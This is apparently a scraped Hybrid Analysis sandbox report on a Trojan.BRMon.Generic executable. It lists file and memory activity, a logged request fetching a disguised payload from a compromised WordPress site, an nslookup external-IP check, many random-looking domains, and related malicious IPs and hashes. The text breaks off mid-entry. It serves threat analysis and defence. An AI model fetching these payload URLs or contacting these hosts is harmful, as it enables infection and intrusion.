24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2d:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.BRMon.Generic Sample a12830390ff7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a12830390ff7…. Malware family: Trojan.BRMon.Generic. Threat score 100/100. 21/26 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b","keywords":["Malicious","Trojan.BRMon.Generic","malware analysis","sandbox report","threat intelligence","a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b"],"about":{"@type":"SoftwareApplication","name":"91ky4v9x7eidi.exe","applicationCategory":["peexe","executable"],"identifier":"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.BRMon.Generic","antivirusDetections":{"malicious":21,"total":26},"behavioralIndicators":{"malicious":12,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T62a,"" created file "C:\Users\%OSUSER%\AppData\Local\Temp\825E.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8269.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\826A.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\826B.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\826C.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8277.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8278.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8279.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\827A.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8285.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8286.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8287.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8288.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8293.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8294.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8295.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\8296.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\82A1.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\82A2.tmp" "" created file "C:\Users\%OSUSER%\AppData\Local\Temp\82A3.tmp"26:T4ab,"" touched file "C:\Windows\System32\C_1252.NLS" "" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Users\0oXgdVY\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\System32\en-US\propsys.dll.mui" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "cmd.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "clfs10_1.exe" touched file "C:\Windows\System32\C_1252.NLS" "clfs10_1.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "clfs10_1.exe" touched file "C:\Windows\System32\ntdll.dll"27:T2555,Heuristic match: "GET /wp-includes/ID3/opds.tif HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mondomusicatania.it" Pattern match: "http://www.mondomusicatania.it/wp-includes/ID3/opds.tif" Pattern match: "www.mondomusicatania.it" Pattern match: "www.sjevnwaitomrjldxrcx.com" Pattern match: "www.tdta4bfuy6m2jichqi.com0" Pattern match: "www.egtvzp6siqi7h3w6os26.net0" Pattern match: "www.w2pg523vd5if.com" Pattern match: "www.rwm7tisf7oepscxztg.com0" Pattern match: "www.w4hvb5a6qe.net0" Pattern match: "www.bbqv6gnycrvm4otq.com" Pattern match: "www.knv2szszg52kj7wom.com" Pattern match: "www.xok2pvak2.com" Pattern match: "www.iiuh7t.com" Pattern match: "www.kyogtxk6.com0" Pattern match: "www.6h3sr4myvgt.net0" Pattern match: "www.guhk.com" Pattern match: "www.6ezl5nktjinqur4fnh.com" Pattern match: "www.cklgbdvbbda.com0" Pattern match: "www.4icycs7kaxyotelwxj3.net0" Pattern match: "www.ejrpia.com" Pattern match: "www.atw43k6dsnnvh66gt6.com" Pattern match: "www.iohae4pnqlpunad64kg.com" Pattern match: "www.qo6cyfs5zbdpyknsvl.com0" Pattern match: "www.2b6c6plxkuetp.net0" Pattern match: "www.rj5pqc46ppynyrpief3mw.com" Pattern match: "www.cnjwnn3.com" Pattern match: "www.z2vzzmbggxf3coarnhp4o.com" Pattern match: "www.mu622yfl6ztmv6x.com" Pattern match: "www.pqqrcbzhk4b.com" Pattern match: "www.msrnbom6yt4l.com" Pattern match: "www.caxdyogt.com" Pattern match: "www.kxzbfefwshethtyayqq.com" Pattern match: "www.ulpye5ji25b.com" Pattern match: "www.5c6rhrgoux3y6ctdhg2to2qu.com" Pattern match: "www.2e5ec3perz4yrsh3.com" Pattern match: "www.5gtehtsbdyohu2jnwuf7r.com" Pattern match: "www.f5dd2bwaynfkqexxv.com" Pattern match: "www.ivmyyzpv53zrldar2t5.com" Pattern match: "www.5rvz6n5.com" Pattern match: "www.fjgdtmifd22dl57h.com0" Pattern match: "www.wmrbkyoeh5rzh.net0" Pattern match: "www.kctdpewqh.com0" Pattern match: "www.o7lshawum5wnu.net0" Pattern match: "www.gyeltykk2qzton.com0" Pattern match: "www.rquyskhj3zs6tlwycgt3.net0" Pattern match: "www.afbgphtby6oms3uj.com0" Pattern match: "www.ny6hyylcsk5wx.net0" Pattern match: "www.s77ntrntzqgt.com0" Pattern match: "www.3k3rqmrqjiv23sy66qz.net0" Pattern match: "www.5pk6z2mf2.com0" Pattern match: "www.vrzj3klj65.net0" Pattern match: "www.nofknpxlbsi4sgxnqa.com0" Pattern match: "www.lwj4p3cau64n3o63k.net0" Pattern match: "www.4r373gsbv.com0" Pattern match: "www.nilis7swo3svs7.net0" Pattern match: "www.5nwqpo7lit2p.com0" Pattern match: "www.lp7tzpx3hc.net0" Pattern match: "www.iflsfbbf3ee.com0" Pattern match: "www.kk5t2y3soye43gs4.net0" Pattern match: "www.qcvaq7eowrpb.com0" Pattern match: "www.rbntiwhkee6cmu.net0" Pattern match: "www.rrplq2cgquis.com0" Pattern match: "www.uvekofmqvdx7rm3v4ut.net0" Pattern match: "www.57j66c5rlc6mcpyzqtf.com0" Pattern match: "www.5la3uchj.net0" Pattern match: "www.eio4zs3np4aab.com0" Pattern match: "www.xleeefci6fsdmkyg.net0" Pattern match: "www.3y7ztabocin5pc2pbv.com0" Pattern match: "www.oq7n7rzfc2.net0" Pattern match: "www.oezkw6djt2xnhw5f.com" Pattern match: "www.axqhwzktu746s.com" Pattern match: "www.t4rmvnpnr.com0" Pattern match: "www.mzh4z5q6ws5sfly6bk.net0" Pattern match: "www.mpiahu6vq5pop.com0" Pattern match: "www.wkauh4glpdogofoql2t.net0" Pattern match: "www.6wwwxb7qkstkb.com0" Pattern match: "www.muzpmrjvtxbez5qmvy.net0" Pattern match: "www.vwchg5biy5x.com0" Pattern match: "www.htnthdmv4qufymxen.net0" Pattern match: "www.lnskmwvwbm6m5nmztc.com0" Pattern match: "www.ehtn3rvfvg.net0" Pattern match: "www.lpxby47y5cbg.com0" Pattern match: "www.4yttuztswtl.net0" Pattern match: "www.botmgvzhn.com" Pattern match: "www.xsqd7jule3.com0" Pattern match: "www.mkttctt2nhgfc72qx2q.net0" Pattern match: "www.a2cq4t.com" Pattern match: "www.djzc5r4dg54sc4e.com" Pattern match: "www.cmxdi7zslk.com0" Pattern match: "www.nxzk34kmec22dr7un.net0" Pattern match: "www.2owq6xtjm6chgm.com0" Pattern match: "www.4jar2y4k.net0" Pattern match: "www.cqazozon5bbwzulb.com" Pattern match: "www.fdfgs2cqtt3ttgz5yw3b.com" Pattern match: "www.kivy6trxpvf2rucbuj24.com0" Pattern match: "www.qmggkqtsy7uy23xpzl.net0" Pattern match: "www.hmycb447hbw.com0" Pattern match: "www.uck7l5ypok.net0" Pattern match: "www.zncs2t6vkrkqndic7jffvlz.com" Pattern match: "www.5fq2gxwi.com" Pattern match: "www.noef57tmrzrzwk2ui.com" Pattern match: "www.lfwobkdsh3j3yyt.com0" Pattern match: "www.u4ds5g6p2yyc.net0" Pattern match: "www.z5zxqkrk.com0" Pattern match: "www.zlnabbq5s5e43cghjv.net0" Pattern match: "www.5sjbdua6wqeyddv4cm.com0" Pattern match: "www.qabpjxjq.net0" Pattern match: "www.56akduppag3mexbfhfwf.com" Pattern match: "www.kbpxb4bsbawmxpyi5yafkq.com" Pattern match: "www.mmssdvtedoqkpmbhrxe6ebk.com" Pattern match: "www.bzef4gfrrbj.com0" Pattern match: "www.x5447i6aaimyci.net0" Pattern match: "www.p57zbnfruxaodj5li.com0" Pattern match: "www.cmbqzdcgrp7qmtu3.net0" Pattern match: "www.x3vvg3q4tldibv.com0" Pattern match: "www.3mxbpkxb.net0" Pattern match: "www.qq5t3nkr6zqvpqcd5mxp.com0" Pattern match: "www.f3j7xcks5qpuyywy7r.net0" Pattern match: "www.5umo.com" Pattern match: "www.35dccadk5fp2h.com0" Pattern match: "www.h7fdd37mt3hic.net0" Pattern match: "www.xo4vid.com" Pattern match: "www.ileaesqsupx2vesr6pc7eg.com" Pattern match: "www.6vjw45hrih6l3b6g.com0" Pattern match: "www.anhxta4rii.net0" Pattern match: "www.2vc7.com" Pattern match: "www.urhve5g4yc.com" Pattern match: "www.tp5hcvbhhczv3s4u.com" Pattern match: "www.nivlngurcu7j237iktttyn2.com" Pattern match: "www.hjevmygejsehicrwclz.com0" Pattern match: "www.ywkiu6apqd.net0" Pattern match: "www.qbv2lcgzlje.com0" Pattern match: "www.hmjzlpwgzuz.net0" Pattern match: "www.bted62.com" Pattern match: "www.6qcygnq.com" Pattern match: "www.ynyawq.com" Pattern match: "www.3penq2xi32ep.com0" Pattern match: "www.vqj5vcerrzpstgh2c7.net0" Pattern match: "www.gk7d6rolioslpm.com0" Pattern match: "www.65jzuw2arhpqqg2.net0" Pattern match: "www.aorujf6a.com0" Pattern match: "www.iahosxkwq.net0" Pattern match: "www.otlc5x5g.com0" Pattern match: "www.dpstnfiavg6nxifikxq.net0" Pattern match: "www.5ec5c4atwn2o7iemxvasvt.com" Pattern match: "www.tn5ctywdxqkf5qxy3q2.com0" Pattern match: "www.gp5p7i6aoiw.net0" Pattern match: "www.yz6tn7tw2nx6el6uoi.com0" Pattern match: "www.szj3ru72vslfayl6.net0" Pattern match: "www.pih4lwhkkcy344rg.com0" Pattern match: "www.ljjqc22fsszx.net0" Pattern match: "www.k7rh.com" Pattern match: "www.ghqxrsc2ltit.com0" Pattern match: "www.bfu55fjgezuascdt.net0" Pattern match: "www.mpm4ygnc6vkprsqlzylp.com" Pattern match: "www.nfjq3vvtylqj.com" Pattern match: "www.xaqxsiyl2v3dwaefvt5ibaz.com" Pattern match: "www.qa3sghwaeqztm.com0" Pattern match: "www.wb2tvmseuw2nekjgs2v.net0" Pattern match: "www.flceuj.com" Pattern match: "www.zjm45esrddc4l.com" Pattern match: "www.6ammz6wf6th.com" Pattern match: "www.e6nedcrhveqxigi.com0" Pattern match: "www.2euvy4tjelp.net0" Pattern match: "www.nuap6oljkiwdl.com0" Pattern match: "www.by23ldjyev7tsskoriqj.net0" Pattern match: "www.t57scx76p.com0" Pattern match: "www.heoepkrh.net0" Pattern match: "www.rr6ildujltt.com0" Pattern match: "www.fyjhvra4k6c6.net0" Pattern match: "www.ggmxbjsnnc4eky.com0" Pattern match: "www.ug5tnmgd5imjdie5.net0" Pattern match: "www.hp6j34daoovv.com" Pattern match: "www.pg7x2kp.com" Pattern match: "www.7rgq2xkmvjn7bcec.com" Pattern match: "www.xao72o7nko.com0" Pattern match: "www.gnshtrh6rgcc.net0" Pattern match: "www.cclb5j76kswue4va.com0" Pattern match: "www.pt2lpje7mciv2hfff5z4.net0" Pattern match: "www.o3tf5sdm74tva7mjc6.com0" Pattern match: "www.esuzkpu45iwgzulzdu7a.net0" Pattern match: "www.fpd4v6ig.com" Pattern match: "www.wvh7z.com" Pattern match: "www.wg2rceqhnxrg.com0" Pattern match: "www.qtbxt7fc.net0" Pattern match: "www.rtforhlgav5rckemafbm.com" Pattern match: "www.dxgycfi.com" Pattern match: "www.vwh5rxjyys7mu4mz747y.com0" Pattern match: "www.npcic3bx34z.net0" Pattern match: "www.aydu4oae2.com0" Pattern match: "www.ajbcjtrvh72ujj43.net0" Pattern match: "www.dqytuwcjjjdf.com0" Pattern match: "www.kxz4lfhsespesq4.net0" Pattern match: "www.5nl4vikddccqhiscxt.com" Pattern match: "www.vz7x3aojttwpsphgl2.com" Pattern match: "www.e3qe2valovjtgq.com0" Pattern match: "www.xjqmlikgxmgexxes.net0" Pattern match: "www.o2qoezx2d3z.com" Pattern match: "www.utq4l.com" Pattern match: "www.iir6p3b5zx2nd.com0" Pattern match: "www.gf5vhiatevu6ebbi6hnj.net0" Pattern match: "www.jrvtv4hx4hm6d23k.com" Pattern match: "www.pqhebbhnizq5ktqh5nrmesyad.com" Pattern match: "www.kgfldckvj5x77a.com0" Pattern match: "www.vpqmdupyw.net0" Pattern match: "www.km7w2scz6gri4f6yktxk.com0" Pattern match: "www.ze7owjcybqghuqb.net0" Pattern match: "www.bib2nlc4xwj4uxcmmzbni.com" Pattern match: "www.hr75rs3llg.com0" Pattern match: "www.cbyd6oz6flrty.net0" Pattern match: "www.2v2hsgin4edfybtrndtrmn4bl.com" Pattern match: "www.ep4ijttvhiqi3ea.com" Pattern match: "www.arez3b5yv2wkww.com0" Pattern match: "www.vxp6jlgxa6cjvlfcrxjv.net0" Pattern match: "www.cpw4gkmzb.com0" Pattern match: "www.aoz2ndmd.net0" Pattern match: "www.evsfh4cqijqyov.com0" Pattern match: "www.h3xyp4jb.net0" Pattern match: "www.ode6vqzijfoq.com0" Pattern match: "www.5jo7zv6jf.net0" Heuristic match: "mondomusicatania.it" Heuristic match: "resolver1.opendns.com" Heuristic match: "myip.opendns.com" Heuristic match: "Server: resolver1.opendns.com" Heuristic match: "Name: myip.opendns.com" Heuristic match: "nslookup myip.opendns.com resolver1.opendns.com"28:Tb2a,"C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\825E.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8269.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\826A.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\826B.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\826C.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8277.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8278.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8279.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\827A.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8285.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8286.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8287.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8288.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8293.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8294.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8295.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8296.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\82A1.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\82A2.tmp" for deletion "C:\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\82A3.tmp" for deletion29:T71a,"" opened "C:\Users\0oXgdVY\AppData\Local\Temp\825E.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8269.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\826A.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\826B.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\826C.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8277.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8278.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8279.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\827A.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8285.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8286.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8287.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8288.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8293.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8294.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8295.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\8296.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\82A1.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\82A2.tmp" with delete access "" opened "C:\Users\0oXgdVY\AppData\Local\Temp\82A3.tmp" with delete access2a:T4aa,"" wrote bytes "c4ca577580bb5775aa6e58759fbb577508bb577546ce577561385875de2f5875d0d95775000000001779ce764f91ce767f6fce76f4f7ce7611f7ce76f283ce76857ece7600000000" to virtual address "0x6AB71000" (part of module "MSIMG32.DLL") "clfs10_1.exe" wrote bytes "c4ca577580bb5775aa6e58759fbb577508bb577546ce577561385875de2f5875d0d95775000000001779ce764f91ce767f6fce76f4f7ce7611f7ce76f283ce76857ece7600000000" to virtual address "0x6CB01000" (part of module "MSIMG32.DLL") "nslookup.exe" wrote bytes "92e6047779a80977be720977d62d09771de2047705a20977bee30477616f0977684107770050077700000000ad37d0758b2dd075b641d07500000000" to virtual address "0x74691000" (part of module "WSHTCPIP.DLL") "nslookup.exe" wrote bytes "7739057779a80977be720977d62d09771de2047705a20977c868087757d10f77bee30477616f0977684107770050077700000000ad37d0758b2dd075b641d07500000000" to virtual address "0x74BC1000" (part of module "WSHIP6.DLL") "nslookup.exe" wrote bytes "4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000" to virtual address "0x75491000" (part of module "NSI.DLL")2b:T575a,Found malicious artifacts related to "62.149.142.52": ... URL: http://www.mondomusicatania.it/wp-includes/ID3/opds.tif Pattern (AV positives: 3/67 scanned on 01/31/2018 11:44:56) URL: http://www.mondomusicatania.it/wp-includes/ID3/opds.tif (AV positives: 3/66 scanned on 01/30/2018 05:59:40) URL: http://mondomusicatania.it/wp-includes/ID3/opds.tif (AV positives: 3/66 scanned on 01/30/2018 05:59:35) URL: http://www.mondomusicatania.it/wp-includes/ID3/asxzae.tif (AV positives: 3/66 scanned on 01/29/2018 15:30:10) URL: http://www.mondomusicatania.it/wp-includes/ID3/asxzae.tif Pattern (AV positives: 3/66 scanned on 01/27/2018 09:23:56) File SHA256: d498b90d452ac4fc62c6a246d6d9fdd6aadc452e19d3cfa7055c6fdf1f0484b8 (AV positives: 11/64 scanned on 01/31/2018 15:16:50) File SHA256: 75c88d138738cfe18e795b3235b3778acf6950e9b5744c910d265d69f08b43da (AV positives: 21/67 scanned on 01/31/2018 04:58:07) File SHA256: afbe1e3d3a222f2baea19a3f4bd5aad98e5dd718c93cc1de08213f7430b58742 (AV positives: 13/66 scanned on 01/31/2018 03:43:19) File SHA256: cba84dd0117e4ff80bc6cb547d066f7336971b336239428582e923a56bc84266 (AV positives: 18/65 scanned on 01/30/2018 23:40:42) File SHA256: 2c3ba9126d68dd50dbb45795b02d40f9cbd25925cb7a5488456a445720c9b373 (AV positives: 32/66 scanned on 01/30/2018 22:29:10) File SHA256: b9de205584af67e9017cb9e57fea74589bd1e5ebe6e65e0a579b44df83668516 (Date: 12/01/2017 13:16:45) Found malicious artifacts related to "76.73.17.194": ... URL: http://76.73.17.194:9090/ (AV positives: 2/66 scanned on 01/18/2018 01:04:38) URL: http://76.73.17.194/ (AV positives: 2/66 scanned on 11/24/2017 14:23:19) URL: http://76.73.17.194/9090/ (AV positives: 2/67 scanned on 04/30/2016 16:39:18) URL: http://76.73.17.194/9090 (AV positives: 2/67 scanned on 04/27/2016 16:11:17) URL: http://76.73.17.194/main.php (AV positives: 2/67 scanned on 04/15/2016 04:04:48) File SHA256: 12a15209f08e3b5bb07e5889b04e58041653d204fb9883ba2417cbe991e19964 (Date: 01/05/2018 11:28:47) File SHA256: 57228cfc5556348dba92b219ab3c298eaf1d0709667d54c5c44dab0aaac18083 (Date: 12/21/2017 10:04:54) File SHA256: 5026d32fc572bf481fabf306eae2d4b4ce07ec011746ed065605dad7ac375ff5 (Date: 12/07/2017 00:26:10) File SHA256: 93f6e42ca9737f4a14f804e2ae928d0d13f5562d83e792a61eb11d615a325682 (Date: 12/05/2017 19:39:57) File SHA256: a2cc79d4e7fcfa06ebec91999909d71b0ba6441cdbc035dd88b8b429ac51a01d (Date: 12/05/2017 19:39:12) File SHA256: 5c095bd8b050ab4fa76b88e45cb873c122031cbf3d71da07e2905ed8a5888b41 (AV positives: 42/56 scanned on 12/16/2014 22:56:58) File SHA256: 0ffa779fc12857e4fb05f7cc8360d0a243af8307264eb1294eb6e3d970374921 (AV positives: 2/56 scanned on 12/13/2014 23:22:11) File SHA256: 11f566927810b24e9a8b72bf534f6fe01e1babef5765e78eff02877428414b1e (AV positives: 23/55 scanned on 11/30/2014 18:40:07) File SHA256: 1039bfaca100aa547e445bc65220fa8a4950ea38609340f58a8bac9f21f01fde (AV positives: 30/55 scanned on 11/23/2014 01:07:22) File SHA256: c8ae9c08676692417c0da3e797602c482340eb0ef7328e9566a99176811a54ca (AV positives: 27/55 scanned on 11/17/2014 02:15:21) Found malicious artifacts related to "194.109.206.212": ... URL: http://194.109.206.212/tor/status-vote/current/consensus (AV positives: 2/67 scanned on 01/31/2018 18:03:23) URL: http://194.109.206.212/ (AV positives: 1/66 scanned on 01/17/2018 08:06:37) URL: http://194.109.206.212:443/favicon.ico (AV positives: 2/66 scanned on 12/14/2017 01:19:01) URL: http://194.109.206.212/tor/server/d/000A12FDC42A17C5F5EAF10EDC2512F35F692750+000BCFFA0FD56052F0C8785B268F9EA079EA8D0D+00134BDB75EA0676841267FA7E8F047558490A6F+0014D77C9579907C062DBB5FE7F209A25399EC33+0017D54C3A50A590867CF73D4968F79CD81DAA03+002C10133573AA3B1E59A0435D12918AB5E8D534+0038E70E96292516C74A9B1461DC9976F8DCF73A+003B4A35E7D5473CD8FB31D16AE1D16EDAAC3CB5+004C3C2969F4D0EE94D7E5F69139A57D2263 (AV positives: 2/66 scanned on 12/03/2017 16:12:47) URL: http://194.109.206.212/tor/keys/fp/27b6b5996c426270a5c95488aa5bceb6bcc86956 (AV positives: 2/66 scanned on 12/01/2017 07:43:08) File SHA256: afbe1e3d3a222f2baea19a3f4bd5aad98e5dd718c93cc1de08213f7430b58742 (AV positives: 13/66 scanned on 01/31/2018 03:43:16) File SHA256: d9ccfaf4e5d68050e7a1cad7cd701d0d98e0e5567d1e2875966ce838587aea07 (AV positives: 13/67 scanned on 01/30/2018 21:19:22) File SHA256: 8b142dfe950d6b8779cf2c2d4caebbcf67e0ee29cfd2444f7e594b7022bb76b8 (AV positives: 29/65 scanned on 01/30/2018 19:37:27) File SHA256: 2f1489de1895a828fe4e673b869535cc073cfaba83a0db855f77a33b99311ebd (AV positives: 10/67 scanned on 01/30/2018 16:56:21) File SHA256: 3ba78f45890ea0b5baeb594642e38631e358ba1b748b5f87983f4360023d0731 (AV positives: 14/66 scanned on 01/29/2018 15:44:44) File SHA256: 437d0c570ee0c54e5718944540af5e02834e21904807a8a867f86eb837b17f23 (Date: 01/14/2018 13:01:42) File SHA256: 7cd3bc312c20333e7d6925579ff10bb85f2893d87f0e99ac080c29842a010f63 (Date: 01/11/2018 16:55:16) File SHA256: 04f53fed8dc74a32edbc55e87ca3108f76393f898cfcc040647ada83e33a8d20 (Date: 01/07/2018 09:37:54) File SHA256: e1d576af8a84801ee82d638203bcb8fda1042ca6b2be4713fb76fa7f8358494c (Date: 01/07/2018 08:39:24) File SHA256: cbb11932fd5f0be3a1205d597f15984a46851e48e14eb9c90495ec1fa645f9de (Date: 01/05/2018 12:32:41) Found malicious artifacts related to "128.31.0.39": ... URL: http://belegost.seul.org/ (AV positives: 1/67 scanned on 01/30/2018 21:46:04) URL: http://128.31.0.39/ (AV positives: 3/66 scanned on 01/29/2018 19:53:36) URL: http://128.31.0.39:9101/ (AV positives: 4/66 scanned on 01/17/2018 21:30:36) URL: http://128.31.0.39/tor/status-vote/current/consensus (AV positives: 3/66 scanned on 01/15/2018 12:24:49) URL: https://128.31.0.39/ (AV positives: 3/66 scanned on 01/03/2018 09:42:01) File SHA256: 75c88d138738cfe18e795b3235b3778acf6950e9b5744c910d265d69f08b43da (AV positives: 21/67 scanned on 01/31/2018 04:58:03) File SHA256: afbe1e3d3a222f2baea19a3f4bd5aad98e5dd718c93cc1de08213f7430b58742 (AV positives: 13/66 scanned on 01/31/2018 03:43:13) File SHA256: cba84dd0117e4ff80bc6cb547d066f7336971b336239428582e923a56bc84266 (AV positives: 18/65 scanned on 01/30/2018 23:40:39) File SHA256: 2c3ba9126d68dd50dbb45795b02d40f9cbd25925cb7a5488456a445720c9b373 (AV positives: 32/66 scanned on 01/30/2018 22:29:09) File SHA256: d9ccfaf4e5d68050e7a1cad7cd701d0d98e0e5567d1e2875966ce838587aea07 (AV positives: 13/67 scanned on 01/30/2018 21:19:21) File SHA256: 0b5203050651216caf4bbbe8dbf54e2f6563646c295bcc3cd0b8525a62162ff1 (Date: 01/12/2018 05:53:37) File SHA256: 5f8ee5cefbcfae855691c9f32fa3b245ff7e649d58a4a00502f753055a7ddd2e (Date: 01/12/2018 05:53:26) File SHA256: 8a050e7b01f7ae40fdbe2de6e8399f1d1492a7c34b304c9cad7d20b448d4cce9 (Date: 01/09/2018 05:26:44) File SHA256: 29d3f2f2aa72123d185cfe8a9148f79c6e08f788d2d67e2ee20fcb533c66e692 (Date: 01/02/2018 10:11:45) File SHA256: a65b6dba20bff4bdf6675b245624c16fa7f766767edf44657dd1d3a2a4f62544 (Date: 01/02/2018 10:05:49) Found malicious artifacts related to "85.143.214.143": ... File SHA256: 